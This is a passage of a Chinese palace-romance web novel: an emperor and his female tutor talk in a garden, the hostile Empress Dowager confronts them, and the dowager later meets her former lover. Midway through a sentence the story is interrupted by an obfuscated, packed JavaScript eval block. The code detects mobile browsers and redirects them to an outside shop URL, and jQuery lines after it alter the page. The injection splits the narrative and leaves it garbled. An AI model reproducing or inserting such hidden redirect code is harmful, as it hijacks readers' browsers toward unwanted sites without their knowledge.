君昊天欣喜地接过,指尖触到粗糙却温暖的布料,心中涌起一股暖流,瞬间驱散了所有的失落。他小心翼翼地捧着围巾,仿佛捧着稀世珍宝一般,眉眼间满是欢喜与珍视:“阿宁亲手织的,我怎会嫌弃?这是我收到过最好的贺礼,我定会好好珍藏,日日带在身边,贴身收藏。”
上官婉宁淡笑:“这围巾虽不精美,却还算保暖。冬天天冷时,你围上它,也能挡些寒风。”
君昊天笑道:“阿宁总能想出这些新奇的物件,做出这些独特的东西,真好。”
上官婉宁闻言,只是淡淡一笑。两人相视无言,御花园中再次陷入静谧,只有秋风拂过树叶的沙沙声。
片刻后,君昊天率先打破沉默:“阿宁,你打算何时动身前往南园国?”
上官婉宁思索片刻:“大概就这几日吧,待把这边的琐事安顿好,便启程。”
君昊天面露担忧:“阿宁,我曾听闻,南园国的宰相,也就是你的生父,是个家教极严、心思缜密的人。你如今这般清冷淡漠的性子,怕是难以入他眼,他未必会接受你。”
上官婉宁语气平淡无波:“昊天,我对从前的那个家,没有丝毫记忆。于我而言,所谓的生父生母,都不过是陌生人罢了。我早已把大庆当作自己的第二故乡,此次前往南园国,不过是想去看看我的生母,了却一桩心愿而已。”
君昊天依旧忧心忡忡:“阿宁,我信你的聪慧,可你对这个世界的诸多规则还不甚了解,许多事情,远比你想象的复杂。此去南园,怕是会遇到不少波折。”
上官婉宁安抚道:“昊天放心,我自有分寸,也会好好照顾自己,不会让自己吃亏的。”
君昊天这才稍稍放心,淡笑道:“不过有九叔和明宇陪你一同前往,有他们护着你,我倒也能安心些。”
上官婉宁随意问道:“说起明宇,他文武双全,智谋过人,是难得的栋梁之才。昊天,你为何不召他入朝为官,为大庆效力,助你稳固江山?”
君昊天微笑着摇头,语气里带着几分了然:“阿宁,你应当也知晓明宇的过往吧。他为情所伤,心死之后,便只想隐居避世,不问世事。若非与九叔有莫逆之交,生死情谊,怕是这世上再无人能寻到他的踪迹。这般淡泊名利、心灰意冷的性子,怎会愿意踏入朝堂这是非之地,再次卷入纷争之中?”
上官婉宁轻轻叹息:“是啊,正所谓‘问世间情为何物,直教人生死相许’。明宇这般痴情,着实令人动容。”
“上官姑娘果然不愧是天下第一女夫子,出口成章,文采斐然,真是闻名不如见面,难怪能让皇上如此另眼相看。”一道清冷中带着讥讽与不屑的女声突然响起,打破了园中的静谧,语气里的敌意毫不掩饰。
君昊天脸色骤冷,周身气息瞬间沉了下来,抬眸望去,语气带着明显的不悦:“母后,您怎么来了?”
来人正是蓉太后丁语蓉,她身着华丽的宫装,头戴凤钗,步步生莲般走来,眼神轻蔑地扫过上官婉宁,像是在看什么不入流的东西,冷笑道:“哀家是来与皇上商议明日大婚的诸多事宜,毕竟这是大庆的头等大事,容不得半点马虎。没想到政务繁忙的皇上,竟有这般闲情逸致,在此与一个身份不明的普通民女闲聊畅谈,真是好兴致啊。”她刻意加重“普通民女”四字,语气里的鄙夷显而易见。
君昊天眼神一厉,语气冰冷刺骨,带着帝王的威严与警告:“母后慎言!上官姑娘乃是朕亲自册封的太傅,位列三公,并非什么普通民女。请母后说话注意分寸,谨守太后的身份,莫要失了皇家的体面,更不要让朕为难。”
上官婉宁抬眸打量着眼前的女子——不过二十余岁的年纪,生得国色天香,气质雍容华贵,却带着一股难以掩饰的凌厉与野心。她心中了然:这想必就是明宇心心念念、甘愿付出一切的心上人,如今的蓉太后丁语蓉了。她缓缓起身,微微弯腰行礼,语气平淡无波,不卑不亢:“上官婉宁,见过太后娘娘。”
丁语蓉直视着她,眼神锐利如刀,像是要将她看穿一般,心中暗忖:果然是个不简单的女子,小小年纪便有这般从容淡定的气度,遇事不慌不忙,还身怀武艺,难怪那几个废物会栽在她手里,坏了我的大事。今日定要给她一个教训,让她知晓这后宫与朝堂的规矩,明白什么人是她不能招惹的。
而上官婉宁被她这般盯着,只觉得那眼神熟悉又刺耳,像极了现代那位继母看她时的模样——满是厌恶与恶意,仿佛要将她生吞活剥一般。尘封的记忆骤然被勾起,幼时被继母殴打辱骂的画面涌上心头,饶是她向来镇定,也不由得身形微微一颤,指尖悄然攥紧。
君昊天敏锐地察觉到她的异样,见她指尖泛白,身形微颤,心头一紧,当即冷声道:“母后,朕还有要事与上官太傅商议,事关重大,不便招待,您请回吧。”语气中的驱逐之意毫不掩饰,带着不容拒绝的强硬。
丁语蓉本想借机教训一下上官婉宁,杀杀她的锐气,却见君昊天这般明目张胆地护着她,还敢用如此冷酷的语气对自己下逐客令,心中怒火中烧,差点就要发作。但她深知君昊天如今已亲政,手握实权,朝中不少大臣都依附于他,自己不宜硬碰硬,只得强压下怒火,狠狠地瞪了上官婉宁一眼,那眼神像是淬了毒一般,随即转身拂袖离去,裙摆扫过石凳,带着一阵冷风。
待丁语蓉的身影彻底消失在视线中,君昊天连忙上前,担忧地问道:“阿宁,你怎么了?是不是想起了什么不开心的事?方才她是不是吓到你了?有没有哪里不舒服?”
上官婉宁缓缓松开攥紧的指尖,沉默片刻,才淡淡道:“我没事,只是她的眼神,让我想起了一个曾经伤害过我的人。”
君昊天心疼不已,语气带着坚定的承诺:“阿宁,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125676|196056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那个人定是让你受了不少苦吧。往后,我不会再让太后有任何机会见到你,绝不会再让你受这般委屈,更不会让任何人再用那种眼神看你。”
上官婉宁轻轻摇头,语气平静而理性,带着过来人的通透:“昊天,她毕竟是你的母后,是大庆的太后,名分摆在那里。你不必为了我与她闹得太僵,伤了母子和气,反而让有心人钻了空子。朝堂之上,君臣母子的名分不可不顾,该隐忍时便隐忍,这是为君之道。
况且,方才虽只是匆匆一见,我便能看出她绝非简单之人,心机深沉,野心颇大,且手段定然狠辣。也难怪,她会舍弃明宇那般深厚的情意,步步为营,从一个普通女子走到今日这太后之位。”她心中暗暗想起了清朝的慈禧太后,皆是这般权欲熏心、为达目的不择手段之人。
君昊天轻轻点头,心中虽仍有不甘,却也知晓她说得有理,事关朝堂稳定,他不能仅凭一时意气行事。他其实极想问问她过往的经历,极想知晓她心中的苦楚,想知道究竟是谁曾那般伤害她。但他更清楚上官婉宁的性子——向来不愿轻易吐露心声,心中的高墙一旦筑起,便难以轻易推开,强问只会让她更加封闭自己,适得其反。罢了,只要她能平安幸福,便足够了,她的过往,若她不愿说,他便不再追问。
慈宁宫的朱门在身后缓缓合上,隔绝了宫外的喧嚣,也掩去了丁语蓉脸上惯有的端庄威仪。她挥了挥手,示意殿内侍奉的太监宫女尽数退下,连贴身的掌事嬷嬷也未留下。空旷的寝殿里,只剩下她单薄的身影,与窗外斜斜投进来的夕阳交叠,晕出几分萧索。
指尖无意识地摩挲着袖口的暗纹,上官婉宁在御花园中那句“问世间情为何物,直教人生死相许”忽然又在耳畔响起,字字句句都像细针,轻轻刺着她沉寂多年的心房。伤感如潮水般漫上来,她转身走到妆台前,从抽屉最深处取出一个描金嵌玉的精致锦盒。锦盒入手微凉,打开的瞬间,一抹温润的莹白跃入眼帘——那是一只羊脂白玉手镯,玉质细腻,镯身上雕刻的缠枝莲纹依旧清晰,正是当年李明宇亲手为她戴上的定情之物。
指尖抚过玉镯冰凉的触感,丁语蓉的眼眶渐渐湿润,晶莹的泪珠在睫毛上打着转,却倔强地不肯落下。她声音微颤,带着难以言喻的委屈与无奈,轻声自语:“宇,对不起……蓉儿真的是迫不得已才离开了你。若有选择,谁愿困在这深宫高墙之内,与你天各一方?”
三炷香的时辰悄然流逝,暮色渐浓,城郊一片茂密的树林里,枝叶交错,遮天蔽日,只有零星的光斑透过叶隙洒在地面。一棵老槐树下,两道身影静静伫立,空气里弥漫着无声的沉寂,连风吹过树叶的沙沙声都显得格外清晰。
最终,还是丁语蓉率先打破了这份沉默。她压下心底翻涌的波澜,声音虽带着几分不易察觉的滞涩,却依旧维持着太后的端庄:“宇,这些年……你都还好吗?”